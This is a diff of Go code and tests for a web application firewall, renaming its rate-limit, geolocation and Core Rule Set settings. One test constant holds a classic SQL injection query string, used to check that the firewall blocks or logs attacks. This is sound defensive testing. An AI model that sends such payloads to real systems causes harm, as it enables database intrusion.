tagDeny: denyKP,
lookupTimeout: "1h",
rateLimitPerMinute: "1",
banScopeV4Prefix: "24",
tagDeny: denyKP,
})
// fromDE's ban covers otherClient, which is refused unasked about.
@@ -319,10 +319,10 @@ func TestBanResponseAnswersEveryRefusalButTheSizeLimits(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
tagDeny: denyKP,
}
if tc.setting != "" {
@@ -345,9 +345,9 @@ func TestBanNotes(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000",
rateLimitPerMinute: "1",
tagDeny: denyKP,
lookupTimeout: "1h",
rateLimitPerMinute: "1",
tagDeny: denyKP,
})
start := clk.Now()
+27 -28
View File
@@ -17,15 +17,14 @@ type percentage struct {
}
// biasedThresholdsSet reports whether a biased threshold can lower a
// client's limits by its lookup: SWW_WAF_ASN_BYTES_LIMIT_PERCENT or
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT is not empty,
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is below 100, or
// SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is then needed
// before its request goes on.
func biasedThresholdsSet(cfg *config.WAF) bool {
return len(cfg.ASNBytesLimitPercent) > 0 ||
len(cfg.CountryBytesLimitPercent) > 0 ||
cfg.UnknownCountryLimitPercent < whole ||
// client's limits by its lookup: SWW_WAF_ASN_BYTES_PERCENT or
// SWW_WAF_COUNTRY_BYTES_PERCENT is not empty, SWW_WAF_UNKNOWN_LIMIT_PERCENT is
// below 100, or SWW_WAF_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 ||
len(cfg.CountryBytesPercent) > 0 ||
cfg.UnknownLimitPercent < whole ||
cfg.ASNLimitPercentURL != ""
}
@@ -38,13 +37,13 @@ func biasedThresholdsSet(cfg *config.WAF) bool {
// SWW_WAF_ASN_LIMIT_PERCENT_URL names gives its AS number, the one
// SWW_WAF_TAG_LIMIT_PERCENT gives its country= tag, the lowest it gives its
// other tags, for a client without a country, unless its request skipped
// the wait for GeoJS, SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT, for a client a blocklist
// the wait for GeoJS, SWW_WAF_UNKNOWN_LIMIT_PERCENT, for a client a blocklist
// lists, the percentage of SWW_WAF_BLOCKLIST_ACTION while it is limit, and
// for a client a DNSBL zone's verdict lists, or whose AbuseIPDB score is
// a hit, the percentage of SWW_WAF_DNSBL_ABUSEIPDB_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_LIMIT_PERCENT and
// SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT take the place of the first three for
// an AS number or a country they list.
// a hit, the percentage of SWW_WAF_REPUTATION_ACTION while it is limit. For
// the byte limits, SWW_WAF_ASN_BYTES_PERCENT and SWW_WAF_COUNTRY_BYTES_PERCENT
// take the place of the first three for an AS number or a country they
// list.
func (rq *request) limitPercentages() (percentage, percentage) {
cfg := rq.h.config
asn, country := rq.line.ASN, rq.line.Country
@@ -52,8 +51,8 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait {
unknown = percentage{
cfg.UnknownCountryLimitPercent,
"SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT",
cfg.UnknownLimitPercent,
"SWW_WAF_UNKNOWN_LIMIT_PERCENT",
}
}
@@ -70,12 +69,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
}
}
dnsblAbuseIPDBListed := percentage{percent: whole}
reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) &&
cfg.DNSBLAbuseIPDBAction == "limit" {
dnsblAbuseIPDBListed = percentage{
cfg.DNSBLAbuseIPDBLimitPercent,
"SWW_WAF_DNSBL_ABUSEIPDB_ACTION",
cfg.ReputationAction == "limit" {
reputationListed = percentage{
cfg.ReputationLimitPercent,
"SWW_WAF_REPUTATION_ACTION",
}
}
@@ -103,24 +102,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
}
asnBytes, countryBytes := asnRequests, countryRequests
if _, listed := cfg.ASNBytesLimitPercent[asn]; listed {
if _, listed := cfg.ASNBytesPercent[asn]; listed {
asnBytes = given(
cfg.ASNBytesLimitPercent,
cfg.ASNBytesPercent,
asn,
"SWW_WAF_ASN_BYTES_LIMIT_PERCENT",
"SWW_WAF_ASN_BYTES_PERCENT",
)
}
if _, listed := cfg.CountryBytesLimitPercent[country]; listed {
if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given(
cfg.CountryBytesLimitPercent,
cfg.CountryBytesPercent,
country,
"SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT",
"SWW_WAF_COUNTRY_BYTES_PERCENT",
)
}
// The limits that lower requests and bytes alike.
common := lowest(otherTags, unknown, blocklisted, dnsblAbuseIPDBListed)
common := lowest(otherTags, unknown, blocklisted, reputationListed)
return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common)
+37 -53
View File
@@ -8,7 +8,6 @@ import (
"net/http/httptest"
"net/netip"
"path/filepath"
"strconv"
"strings"
"testing"
"testing/synctest"
@@ -23,10 +22,10 @@ import (
// The biased thresholds.
const (
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesLimitPercent = "SWW_WAF_ASN_BYTES_LIMIT_PERCENT"
countryBytesLimitPercent = "SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT"
unknownCountryLimitPercent = "SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT"
tagLimitPercent = "SWW_WAF_TAG_LIMIT_PERCENT"
asnBytesPercent = "SWW_WAF_ASN_BYTES_PERCENT"
countryBytesPercent = "SWW_WAF_COUNTRY_BYTES_PERCENT"
unknownLimitPercent = "SWW_WAF_UNKNOWN_LIMIT_PERCENT"
)
const (
@@ -61,7 +60,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
}{
{tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, countryTagDEHalf, fromDE},
{unknownCountryLimitPercent, "50", unplaced},
{unknownLimitPercent, "50", unplaced},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
@@ -109,9 +108,9 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}{
{tagLimitPercent, asnTagDEHalf, fromDE},
{tagLimitPercent, "Country=de:50", fromDE},
{unknownCountryLimitPercent, "50", unplaced},
{asnBytesLimitPercent, "as64496:50", fromDE},
{countryBytesLimitPercent, countryDEHalf, fromDE},
{unknownLimitPercent, "50", unplaced},
{asnBytesPercent, "as64496:50", fromDE},
{countryBytesPercent, countryDEHalf, fromDE},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
@@ -150,7 +149,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
}
}
func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
t *testing.T,
) {
t.Parallel()
@@ -164,28 +163,22 @@ func TestBytesLimitPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
}{
{
"lowering the byte limits alone",
map[string]string{asnBytesLimitPercent: asnDEHalf},
none, "50 from " + asnBytesLimitPercent, minuteBytes,
map[string]string{asnBytesPercent: asnDEHalf},
none, "50 from " + asnBytesPercent, minuteBytes,
},
{
"lowering the byte limits alone, by country",
map[string]string{countryBytesLimitPercent: countryDEHalf},
none, "50 from " + countryBytesLimitPercent, minuteBytes,
map[string]string{countryBytesPercent: countryDEHalf},
none, "50 from " + countryBytesPercent, minuteBytes,
},
{
"raising the byte limits back",
map[string]string{
tagLimitPercent: asnTagDEHalf,
asnBytesLimitPercent: asnDE + ":100",
},
map[string]string{tagLimitPercent: asnTagDEHalf, asnBytesPercent: asnDE + ":100"},
"50 from " + tagLimitPercent, none, "",
},
{
"raising the byte limits back, by country",
map[string]string{
tagLimitPercent: countryTagDEHalf,
countryBytesLimitPercent: "de:100",
},
map[string]string{tagLimitPercent: countryTagDEHalf, countryBytesPercent: "de:100"},
"50 from " + tagLimitPercent, none, "",
},
} {
@@ -221,7 +214,7 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
s, _, _ := startWithLookups(
t,
map[string]string{unknownCountryLimitPercent: "0"},
map[string]string{unknownLimitPercent: "0"},
)
// The first request breaks the limit, and bans the client; the log line
@@ -232,12 +225,12 @@ func TestZeroPercentIsAZeroAllowance(t *testing.T) {
requestlog.ActionClientIsRateLimited,
)
if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownCountryLimitPercent {
line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf(
"log line has rate_limit_percent %v from %v, want 0 from %s",
line.fields["rate_limit_percent"],
line.fields["rate_limit_percent_setting"],
unknownCountryLimitPercent,
unknownLimitPercent,
)
}
@@ -271,11 +264,11 @@ func TestLowestPercentageApplies(t *testing.T) {
},
{
"that for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:50", unknownCountryLimitPercent: "25"},
noCountry, "25 from " + unknownCountryLimitPercent,
map[string]string{tagLimitPercent: "asn=64500:50", unknownLimitPercent: "25"},
noCountry, "25 from " + unknownLimitPercent,
},
{
// SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT is left at its default, 100.
// SWW_WAF_UNKNOWN_LIMIT_PERCENT is left at its default, 100.
"the AS number's, for a client without a country",
map[string]string{tagLimitPercent: "asn=64500:25"},
noCountry, "25 from " + tagLimitPercent,
@@ -303,13 +296,13 @@ func TestLowestPercentageApplies(t *testing.T) {
}
}
func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
t *testing.T,
) {
t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{
rateLimitPerMinute: fourAMinute, unknownCountryLimitPercent: "50",
rateLimitPerMinute: fourAMinute, unknownLimitPercent: "50",
})
// One the lookup database does not hold, and one on a private address,
@@ -330,17 +323,14 @@ func TestUnknownCountryLimitPercentGivesEveryClientWithoutACountryItsPercentage(
}
}
func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
t *testing.T,
) {
func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
t.Parallel()
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says, with
// a GeoJS that never answers.
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{unknownCountryLimitPercent: "0"})
map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client
// counts as without a country, and its zero allowance refuses the
@@ -356,7 +346,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownCountryLimitPercent(
)
wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownCountryLimitPercent)
"0 from "+unknownLimitPercent)
})
}
@@ -375,28 +365,22 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// A tag the lookup does not give needs no answer.
{tagLimitPercent, "vpn:50", false},
{tagDeny, "vpn", false},
{asnBytesLimitPercent, asnDEHalf, true},
{countryBytesLimitPercent, countryDEHalf, true},
{unknownCountryLimitPercent, "99", true},
{asnBytesPercent, asnDEHalf, true},
{countryBytesPercent, countryDEHalf, true},
{unknownLimitPercent, "99", true},
{asnLimitPercentURL, asnURL, true},
// At 100, its default, it lowers no limit.
{unknownCountryLimitPercent, "100", false},
{unknownLimitPercent, "100", false},
} {
t.Run(tc.setting+"="+tc.value, func(t *testing.T) {
t.Parallel()
// In a synctest bubble, as
// TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays says,
// with a GeoJS that never answers. The headers, which need the
// answer too, are off.
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{
asnAndCountryLookupTimeout: strconv.FormatInt(
timeout.Milliseconds(), 10),
addLookupHeaders: falseValue,
tagLists: "vpn=" + vpnList,
tc.setting: tc.value,
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
})
began := time.Now()
@@ -465,10 +449,10 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
"a byte limit",
map[string]string{
bytesLimitPerMinute: twoUploads, tagLimitPercent: asnTagDEQuarter,
asnBytesLimitPercent: asnDEHalf,
asnBytesPercent: asnDEHalf,
},
0, http.StatusOK, requestlog.ActionForward,
"bytes per minute over the limit of 99", "50 from " + asnBytesLimitPercent,
"bytes per minute over the limit of 99", "50 from " + asnBytesPercent,
},
} {
t.Run(tc.name, func(t *testing.T) {
+1 -1
View File
@@ -1,6 +1,6 @@
package waf
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNTED, and the byte limits
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages.
import (
+5 -5
View File
@@ -22,10 +22,10 @@ const (
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
bytesCounted = "SWW_WAF_BYTES_COUNTED"
bytesCount = "SWW_WAF_BYTES_COUNT"
)
// The values of SWW_WAF_BYTES_COUNTED.
// The values of SWW_WAF_BYTES_COUNT.
const (
countResponse = "response"
countRequest = "request"
@@ -212,7 +212,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
t,
answerAfterUpgrade,
map[string]string{
bytesLimitPerMinute: "29", bytesCounted: tc.setting,
bytesLimitPerMinute: "29", bytesCount: tc.setting,
},
)
@@ -239,7 +239,7 @@ func TestWebSocketBytesAreCountedOnceItCloses(t *testing.T) {
}
}
func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
func TestBytesCountSaysWhichBytesCount(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -257,7 +257,7 @@ func TestBytesCountedSaysWhichBytesAreCounted(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
bytesLimitPerMinute: byteLimit, bytesCounted: tc.setting,
bytesLimitPerMinute: byteLimit, bytesCount: tc.setting,
})
for i := 1; i <= tc.breaking; i++ {
+11 -11
View File
@@ -1,7 +1,7 @@
package waf
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
import (
"context"
@@ -17,7 +17,7 @@ import (
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
// exempts its path, as pathExempt decides, and notes the rules it matched and
// its score in the log line, and the rules in the metrics. A score at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD is a match: it adds the tag
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
// exploitsignature, raises the core_rule_set_match alert, and in block mode
// refuses the request with 403, which is an offence its client's history
// counts. Its figures are the score and the threshold.
@@ -31,8 +31,8 @@ func (coreRuleSet) check(
_ time.Time,
) *verdict {
cfg := rq.h.config
if cfg.CoreRuleSetMode == config.CoreRuleSetModeOff ||
pathExempt(rq.in, cfg.CoreRuleSetExemptPaths) {
if cfg.WAFMode == config.WAFModeOff ||
pathExempt(rq.in, cfg.WAFExemptPaths) {
return nil
}
@@ -50,10 +50,10 @@ func (coreRuleSet) check(
rq.line.CoreRuleSetScore = &result.Score
for _, id := range result.RuleIDs {
rq.h.metrics.CoreRuleSetMatched(cfg.CoreRuleSetMode, id)
rq.h.metrics.CoreRuleSetMatched(cfg.WAFMode, id)
}
threshold := cfg.CoreRuleSetScoreThreshold
threshold := cfg.WAFAnomalyThreshold
if threshold == 0 || result.Score < threshold {
return nil
}
@@ -61,7 +61,7 @@ func (coreRuleSet) check(
rq.addTag(config.ExploitSignatureTag)
rq.alertCoreRuleSetMatch(result)
if cfg.CoreRuleSetMode == config.CoreRuleSetModeDetect {
if cfg.WAFMode == config.WAFModeDetect {
return nil
}
@@ -78,7 +78,7 @@ func (coreRuleSet) check(
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD. Its detail gives the rule ids, the
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
// score, the method and the path with the query, and, for a request that is
// not refused for it, the mode: detect, or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
@@ -90,8 +90,8 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
}
switch {
case rq.h.config.CoreRuleSetMode == config.CoreRuleSetModeDetect:
detail["mode"] = config.CoreRuleSetModeDetect
case rq.h.config.WAFMode == config.WAFModeDetect:
detail["mode"] = config.WAFModeDetect
case rq.h.config.Observe:
detail["mode"] = "observe"
}
@@ -105,7 +105,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
Detail: detail,
})
}
+40 -56
View File
@@ -18,20 +18,20 @@ import (
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
// its two modes that inspect requests.
const (
coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD"
coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE"
apps = "SWW_WAF_APPS"
block = "block"
detect = "detect"
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
apps = "SWW_WAF_APPS"
block = "block"
detect = "detect"
)
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
// read bodies, 1K as a setting.
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
// setting.
const (
sizeLimit = 1 << 10
sizeLimitSetting = "1K"
@@ -39,7 +39,7 @@ const (
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD.
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
@@ -95,7 +95,7 @@ func TestCoreRuleSetMatchAddsTheExploitSignatureTag(t *testing.T) {
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: tc.mode},
map[string]string{wafMode: tc.mode},
)
wantTags(
@@ -115,7 +115,7 @@ func TestDetectedAttackIsRefusedByTagDenyLast(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: detect, tagDeny: "exploitsignature",
wafMode: detect, tagDeny: "exploitsignature",
})
line := s.request(client, sqlInjection, http.StatusForbidden,
@@ -167,7 +167,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: tc.mode},
map[string]string{wafMode: tc.mode},
)
line := s.requestWithHeader(
@@ -186,11 +186,7 @@ func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(
func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
)
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
@@ -200,11 +196,7 @@ func TestCoreRuleSetRefusalNamesItsHeuristicScoreAndThreshold(t *testing.T) {
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
)
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line := s.request(
client,
@@ -223,10 +215,10 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block,
coreRuleSetExemptPaths: "/api/",
allowNets: allowed,
ruleFilesDir: writeRules(t, testRules),
wafMode: block,
wafExemptPaths: "/api/",
allowNets: allowed,
rulesDir: writeRules(t, testRules),
})
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
@@ -266,7 +258,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
wantCoreRuleSet(t, line, nil)
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off})
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(
client,
sqlInjection,
@@ -276,14 +268,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
wantCoreRuleSet(t, line, nil)
}
func TestCoreRuleSetScoreThreshold(t *testing.T) {
func TestAnomalyThreshold(t *testing.T) {
t.Parallel()
// A score under the threshold, or with the threshold off, is logged,
// and refuses nothing.
for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold,
wafMode: block, wafAnomalyThreshold: threshold,
})
line := s.request(
@@ -296,7 +288,7 @@ func TestCoreRuleSetScoreThreshold(t *testing.T) {
}
s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5",
wafMode: block, wafAnomalyThreshold: "5",
})
s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
@@ -342,7 +334,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
map[string]string{wafMode: block},
)
line, _ := s.requestWithBody(
request.method,
@@ -357,7 +349,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
// A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100",
wafMode: block, wafDisabledRules: "942100",
})
score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody(
@@ -391,7 +383,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{
coreRuleSetMode: block, apps: siteA + ":gitea",
wafMode: block, apps: siteA + ":gitea",
})
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
@@ -417,17 +409,13 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body))
s, _, _ := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block},
)
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
@@ -444,7 +432,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
_, _ = w.Write(body)
})
addr, out := startProxy(t, app.URL, map[string]string{
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting,
wafMode: block, wafBodyLimit: sizeLimitSetting,
})
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
@@ -508,11 +496,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page))
})
addr, out := startProxy(
t,
app.URL,
map[string]string{coreRuleSetMode: block},
)
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page {
@@ -526,13 +510,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
}
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
t *testing.T,
) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token,
wafMode: block, errorBurstThreshold: "2", metricsToken: token,
})
for range 2 {
@@ -540,7 +524,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
requestlog.ActionBlockedByCoreRuleSet)
}
// The third refusal in a minute breaks the refusal limit, and bans the
// The third refusal in a minute breaks the error burst, and bans the
// client.
line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet)
@@ -582,13 +566,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit(
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
t *testing.T,
) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token,
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
@@ -624,7 +608,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
s, _, server := startWithClock(
t,
"",
map[string]string{coreRuleSetMode: block, mode: observe},
map[string]string{wafMode: block, mode: observe},
)
line := s.request(
@@ -656,15 +640,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
action, alertMode string
}{
{
"block", map[string]string{coreRuleSetMode: block},
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
},
{
"detect", map[string]string{coreRuleSetMode: detect},
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe},
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
@@ -699,7 +683,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD",
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
Detail: detail,
})
+17 -24
View File
@@ -53,8 +53,8 @@ func TestCountryLists(t *testing.T) {
})
geojsURL, _ := startGeoJS(t)
env := map[string]string{
trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000",
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -108,11 +108,8 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
// The headers are off, so that only the country list makes the request
// wait for its answer.
s, _, _ := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", addLookupHeaders: falseValue,
allowedCountries: "de",
lookupTimeout: "1h", allowedCountries: "de",
})
line := s.get(
